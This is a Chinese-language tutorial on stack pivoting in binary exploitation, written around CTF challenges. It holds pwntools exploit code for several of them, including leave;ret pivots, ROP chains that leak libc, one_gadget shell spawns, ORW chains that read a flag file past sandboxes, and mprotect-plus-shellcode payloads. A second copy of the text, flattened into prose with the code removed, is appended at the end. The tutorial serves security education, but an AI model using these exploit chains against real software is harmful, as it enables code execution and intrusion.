栈迁移(Stack Pivoting)进阶
字数 1036 2025-08-20 18:18:15

栈迁移(Stack Pivoting)进阶技术详解

一、栈迁移基础概念

栈迁移(Stack Pivoting)是一种在漏洞利用中常见的技术,用于改变栈的正常行为,特别是在缓冲区溢出等安全漏洞的情况下。其核心在于修改栈指针(如x86架构中的ESP/RSP寄存器)的值,使其指向攻击者控制的数据区域。

关键要点:

  • 实际应用中常通过劫持ebp和esp将栈劫持到bss段
  • 核心是利用leave, ret这段gadget
  • leave指令等价于mov esp,ebp; pop ebp;
  • ret指令等价于pop eip(弹出栈顶数据给eip寄存器)

二、基本栈迁移利用技术

2.1 基础利用模式

bss6 = 0x601000+0x600
pl = b'a'*0x20 + p64(bss6) + p64(read)  # rbp=bss6 -> rax=bss6+(-0x20)
p.send(pl)

2.2 栈平衡调整

初始尝试后,read会往后执行走向结束,rsp未被控制,需要调整:

pl = b'a'*0x20 + p64(bss6+0x20) + p64(read)  # 第二次read,调整rsp
p.send(pl)

2.3 ROP链构造

rsp调试正常后,可进行ROP链构造:

# puts(puts_got)
pl = p64(bss6+0x20+0x10) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

注意:

  • bss6+0x20基础上再加0x10(固定模板)
  • 后续可能需要再次调整:pl = b'a'*0x20 + p64(bss6+0x40) + p64(read)

三、高级利用技巧

3.1 one_gadget利用

r12 = 0x000000000002f709 + libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12) + p64(0) + p64(og)
p.send(pl)

one_gadget约束条件:

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

3.2 沙盒绕过技术

当存在沙盒限制时,需要使用ORW(Open-Read-Write)技术:

# 获取libc地址后构造ORW链
pl = p64(bss+0x130) + p64(rdi) + p64(0) + p64(rsi_r15) + p64(0x601200) + p64(0x40) + p64(read_addr) + p64(main)
p.send(pl)
pause()
p.send('flag')  # 发送文件名

# 后续构造syscall链
syscall = libc_base + libc.sym['syscall']
pl = p64(0) + p64(rdi) + p64(2) + p64(rsi_r15) + p64(0x601200) + p64(0) + p64(syscall)
pl += p64(rdi) + p64(3) + p64(rsi_r15) + p64(0x601200) + p64(0x100) + p64(read_addr)
pl += p64(rdi) + p64(0x601200) + p64(puts_addr) + p64(main)
p.send(pl)

3.3 文件描述符说明

  • 0:标准输入
  • 1:标准输出
  • 2:标准错误
  • 3,4,5...:第一、二、三...个打开的文件

四、实战案例解析

4.1 move_your_heart题目利用

sla('num:\n', '286129175')
ru('gift:')
stack = int(p.recv(14),16)  # 获取栈地址

# 直接栈迁移到可控区域
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
p.sendline(pl)

4.2 VN2023-Traveler题目(限制0x10大小)

# 两次leave_ret调整栈
pl = b'a'*0x20 + p64(stack) + p64(read)  #1
pl = b'a'*0x20 + p64(stack+0x20) + p64(read)  #2

# 泄露libc
pl = p64(stack+0x20+0x10) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# 获取新栈地址后再次调整
pl = b'a'*0x20 + p64(stack0) + p64(read)  #4
pl = b'a'*0x20 + p64(stack0+0x20) + p64(read)  #5

# 最终one_gadget利用
pl = p64(0) + p64(r12) + p64(0) + p64(og)

4.3 西湖论剑-Message Board题目

# 格式字符串泄露栈地址
ru('name:\n')
sl('%28$p')
stack_addr = int(p.recv(14),16)-0x1a0

# 两次leave_ret矫正rsp
payload = p64(stack_addr+0xb0+0x28) 
payload += p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload += p64(stack_addr) + p64(0x4012e0)

# ORW构造
orw = p64(pop_rdi) + p64(stack_addr+0xd0) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(elf.bss()+0x800) + p64(pop_rdx) + p64(0x50) + p64(elf.plt["read"])
orw += p64(pop_rdi) + p64(elf.bss()+0x800) + p64(elf.plt["puts"])
orw = orw.ljust(0xa8,b'\0') + b'./flag\x00\x00'
orw += p64(stack_addr+0x28-8) + p64(0x4012e0)

4.4 mprotect+shellcode技术

mp = p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mproetct)
mp += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x600) + p64(pop_rdx) + p64(0x300) + p64(elf.plt["read"])
mp += p64(bss+0x600)
mp = mp.ljust(0xb0,b'\0')
mp += p64(stack_addr+0x28-8) + p64(0x4012e0)
p.send(mp)

# 发送shellcode
sc = asm(shellcraft.cat(b"./flag"))
p.send(sc)

五、关键调试技巧

  1. 使用gdb附加调试:
def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
  1. 常用gadget收集:
  • pop rdi; ret;
  • pop rsi; pop r15; ret;
  • pop rdx; ret;
  • leave; ret;
  1. 地址泄露技巧:
  • 使用puts泄露got表地址
  • 格式字符串泄露栈地址

六、总结

栈迁移技术要点:

  1. 理解leave; ret指令的作用
  2. 掌握栈平衡调整方法
  3. 熟练使用ROP链构造
  4. 根据题目限制选择合适的利用方式(one_gadget/ORW/shellcode等)
  5. 注意文件描述符的使用和传递

通过反复练习不同场景下的栈迁移利用,可以逐步掌握这一高级漏洞利用技术。实际应用中需要根据题目具体环境和保护机制灵活调整利用策略。

栈迁移(Stack Pivoting)进阶技术详解 一、栈迁移基础概念 栈迁移(Stack Pivoting)是一种在漏洞利用中常见的技术,用于改变栈的正常行为,特别是在缓冲区溢出等安全漏洞的情况下。其核心在于修改栈指针(如x86架构中的ESP/RSP寄存器)的值,使其指向攻击者控制的数据区域。 关键要点: 实际应用中常通过劫持ebp和esp将栈劫持到bss段 核心是利用 leave, ret 这段gadget leave 指令等价于 mov esp,ebp; pop ebp; ret 指令等价于 pop eip (弹出栈顶数据给eip寄存器) 二、基本栈迁移利用技术 2.1 基础利用模式 2.2 栈平衡调整 初始尝试后,read会往后执行走向结束,rsp未被控制,需要调整: 2.3 ROP链构造 rsp调试正常后,可进行ROP链构造: 注意: bss6+0x20 基础上再加 0x10 (固定模板) 后续可能需要再次调整: pl = b'a'*0x20 + p64(bss6+0x40) + p64(read) 三、高级利用技巧 3.1 one_ gadget利用 one_ gadget约束条件: 3.2 沙盒绕过技术 当存在沙盒限制时,需要使用ORW(Open-Read-Write)技术: 3.3 文件描述符说明 0:标准输入 1:标准输出 2:标准错误 3,4,5...:第一、二、三...个打开的文件 四、实战案例解析 4.1 move_ your_ heart题目利用 4.2 VN2023-Traveler题目(限制0x10大小) 4.3 西湖论剑-Message Board题目 4.4 mprotect+shellcode技术 五、关键调试技巧 使用gdb附加调试: 常用gadget收集: pop rdi; ret; pop rsi; pop r15; ret; pop rdx; ret; leave; ret; 地址泄露技巧: 使用puts泄露got表地址 格式字符串泄露栈地址 六、总结 栈迁移技术要点: 理解 leave; ret 指令的作用 掌握栈平衡调整方法 熟练使用ROP链构造 根据题目限制选择合适的利用方式(one_ gadget/ORW/shellcode等) 注意文件描述符的使用和传递 通过反复练习不同场景下的栈迁移利用,可以逐步掌握这一高级漏洞利用技术。实际应用中需要根据题目具体环境和保护机制灵活调整利用策略。